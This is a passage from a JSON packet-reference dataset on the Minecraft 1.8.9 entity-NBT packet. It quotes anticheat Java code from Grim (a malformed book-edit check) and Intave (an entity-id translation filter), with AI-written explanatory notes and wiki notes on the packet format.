BOOK_EXPECTED_AUTHOR).str(expectedAuthor).str(author));\n    }\n\n    private void flagInvalidTitle(PacketReceiveEvent event, @NotNull String title) {\n        flagBookEdit(event, V.write(verbose(), BOOK_INVALID_TITLE).str(title));\n    }\n\n    private void flagLiteral(PacketReceiveEvent event, int kind) {\n        flagBookEdit(event, V.write(verbose(), kind));\n    }\n\n    private void flagBookEdit(PacketReceiveEvent event, Verbose.Writer writer) {\n        if (flag(writer) && shouldModifyPackets()) {\n            event.setCancelled(true);\n            player.onPacketCancel();\n        }\n    }\n\n    private int typeId(@Nullable ItemType type) {\n        return type == null ? UNUSED_TYPE : VerboseCodecs.item(type, player.getClientVersion());\n    }\n\n    private static boolean containsInvalidCharacters(@NotNull String string, boolean allowLineBreak) {\n        for (int i = 0; i < string.length(); ++i) {\n            char character = string.charAt(i);\n            if (character == 167 || character < 32 && (!allowLineBreak || character != 10) || character == 127) {\n                return true;\n            }\n        }\n\n        return false;\n    }\n}\n\n// NOTE (AI): ExploitB inspects client-sent book NBT, not the server-to-client S49 payload. It anchors the NBT check domain in the corpus because it is the only anticheat logic here that parses compound tags and flags malformed ones.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/exploit/ExploitB.java",
       "variations": "Intave registers UPDATE_ENTITY_NBT in PacketId and feeds it to EntityReader, and Artemis maps PacketPlayOutUpdateEntityNBT to PacketPlayServerUpdateMetadata in HardcodeMap; neither validates NBT content. Only Grim parses compounds, and it does so on the inbound item path."
      },
      {
       "name": "Entity id translation filter (EntityIdFilter)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Rewrites entity ids in serverbound and clientbound entity packets so Intave tracks entities under its own local id scheme. UPDATE_ENTITY_NBT sits in the outbound rewrite list.",
       "how_it_works": "A ProtocolLib filter with two subscriptions: inbound USE_ENTITY, ATTACK_ENTITY and ENTITY_NBT_QUERY packets get their local id translated to the global id, and the outbound list (which includes UPDATE_ENTITY_NBT) maps every entity id back to the local id through ConnectionMetadata, minting new local ids on first sight. It reads the first integer field of each packet, never the NBT payload.",
       "detects": "Not a cheat check. It is an id-translation layer that keeps killaura, reach and position checks consistent with the anticheat's own entity table.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/filter/EntityIdFilter.java =====\npackage de.jpx3.intave.module.filter;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.cleanup.ShutdownTasks;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.packet.reader.EntityIterable;\nimport de.jpx3.intave.packet.reader.PacketReaders;\nimport de.jpx3.intave.packet.reader.SubstitutionIterator;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.UserRepository;\nimport de.jpx3.intave.user.meta.ConnectionMetadata;\nimport org.bukkit.Bukkit;\nimport org.bukkit.entity.Player;\nimport org.bukkit.metadata.FixedMetadataValue;\nimport org.bukkit.metadata.MetadataValue;\nimport org.bukkit.plugin.Plugin;\nimport org.bukkit.plugin.java.JavaPlugin;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.*;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.*;\n\npublic final class EntityIdFilter extends Filter {\n  private static final String RELOAD_METADATA_KEY = \"intave::DT6NyhqI5bPJTeQRO6KWl1hNcEy2YZAp\";\n\n  public EntityIdFilter() {\n    super(\"entityid\");\n    setup();\n  }\n\n  public void setup() {\n    ShutdownTasks.addBeforeAll(this::shutdown);\n    for (Player player : Bukkit.getOnlinePlayers()) {\n      Plugin owningPlugin = null;\n      for (MetadataValue metadata : player.getMetadata(RELOAD_METADATA_KEY)) {\n        Map<Integer, Integer> translations = (Map<Integer, Integer>) metadata.value();\n        if (translations != null && metadata.getOwningPlugin().getName().equalsIgnoreCase(\"Intave\")) {\n          UserRepository.userOf(player).meta().connection().insertIdTranslations(translations);\n          owningPlugin = metadata.getOwningPlugin();\n          break;\n        }\n      }\n      if (owningPlugin != null) {\n        player.removeMetadata(RELOAD_METADATA_KEY, owningPlugin);\n      }\n    }\n  }\n\n  public void shutdown() {\n    for (Player player : Bukkit.getOnlinePlayers()) {\n      JavaPlugin intave = IntavePlugin.singletonInstance();\n      Map<Integer, Integer> translation = new HashMap<>(UserRepository.userOf(player).meta().connection().globalEntityIdsToLocalIds());\n      player.removeMetadata(RELOAD_METADATA_KEY, intave);\n      player.setMetadata(RELOAD_METADATA_KEY, new FixedMetadataValue(intave, translation));\n    }\n  }\n\n  @PacketSubscription(\n    packetsIn = {\n      ATTACK_ENTITY,\n      USE_ENTITY,\n      ENTITY_NBT_QUERY\n    },\n    priority = ListenerPriority.LOWEST\n  )\n  public void onPacket(\n    PacketEvent event\n  ) {\n    User user = UserRepository.userOf(event.getPlayer());\n    PacketContainer packet = event.getPacket();\n    StructureModifier<Integer> ints = packet.getIntegers();\n    int localId = ints.read(0);\n    int globalId = user.meta().connection().globalEntityIdFromLocal(localId);\n    ints.write(0, globalId);\n  }\n\n  @PacketSubscription(\n    packetsOut = {\n      ATTACH_ENTITY,\n      BED,\n      BLOCK_BREAK_ANIMATION,\n      CAMERA,\n      COLLECT,\n      COMBAT_EVENT,\n      ENTITY,\n      ENTITY_DESTROY,\n      ENTITY_EFFECT,\n      ENTITY_EQUIPMENT,\n      ENTITY_HEAD_ROTATION,\n      ENTITY_LOOK,\n      ENTITY_METADATA,\n      ENTITY_MOVE_LOOK,\n      ENTITY_SOUND,\n      ENTITY_STATUS,\n      ENTITY_TELEPORT,\n      ENTITY_VELOCITY,\n      LOOK_AT,\n      LOGIN,\n      MOUNT,\n      NAMED_ENTITY_SPAWN,\n      OPEN_WINDOW,\n      OPEN_WINDOW_HORSE,\n      REL_ENTITY_MOVE,\n      REL_ENTITY_MOVE_LOOK,\n      REMOVE_ENTITY_EFFECT,\n      SPAWN_ENTITY,\n      SPAWN_ENTITY_EXPERIENCE_ORB,\n      SPAWN_ENTITY_LIVING,\n      SPAWN_ENTITY_PAINTING,\n      SPAWN_ENTITY_WEATHER,\n      UPDATE_ATTRIBUTES,\n      UPDATE_ENTITY_NBT,\n      USE_BED\n    },\n    priority = ListenerPriority.HIGHEST\n  )\n  public void onPacketOut(\n    PacketEvent event\n  ) {\n    PacketContainer packet = event.getPacket();\n    User user = UserRepository.userOf(event.getPlayer());\n    ConnectionMetadata connection = user.meta().connection();\n    EntityIterable entities = PacketReaders.readerOf(packet);\n    boolean isDestroy = packet.getType() == PacketType.Play.Server.ENTITY_DESTROY;\n    for (SubstitutionIterator<Integer> iterator = entities.iterator(); iterator.hasNext(); ) {\n      Integer globalId = iterator.next();\n      Integer localId = connection.localEntityIdFromGlobal(globalId);\n      if (localId == -1) {\n        localId = connection.newLocalIdFor(globalId);\n      }\n      iterator.set(localId);\n    }\n    if (isDestroy) {\n      Set<Integer> toRemove = new HashSet<>();\n      entities.forEach(toRemove::add);\n      toRemove.forEach(connection::markIdAsDeprecated);\n      user.tickFeedback(() ->\n        user.tickFeedback(() ->\n          toRemove.forEach(connection::removeId)\n        ));\n    }\n    entities.release();\n  }\n\n  @Override\n  protected boolean enabled() {\n    return false;\n  }\n}\n\n// NOTE (AI): EntityIdFilter rewrites the entity id inside the outbound UPDATE_ENTITY_NBT packet but never inspects the compound tag. The filter is disabled by default in this build.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/filter/EntityIdFilter.java",
       "variations": "Artemis and Negativity only register the packet name in their packet libraries; neither filters or reads it. Grim's PacketWorldReaderEighteen reads NBT on chunk and tile-entity data, which is a different wire path from the entity NBT push."
      }
     ]
    }
   },
   "wiki_notes": [
    "VarInt entity id followed by a full NBTTagCompound. Client looks up the entity and applies it with readFromNBT; unknown ids are ignored.",
    "Server pushes it from EntityTrackerEntry when tracking starts (e.g. command block minecarts). Clientbound only, never requested by the client.",
    "MCP 1.8.9 S49PacketUpdateEntityNBT implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityNBT; wire serde is readPacketData/writePacketData via readNBTTagCompoundFromBuffer, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.updatePlayerEntity sends new S49PacketUpdateEntityNBT (line 390): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S49PacketUpdateEntityNBT/",
   "mcp_path": "net/minecraft/network/play/server/S49PacketUpdateEntityNBT.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  }
 ]
}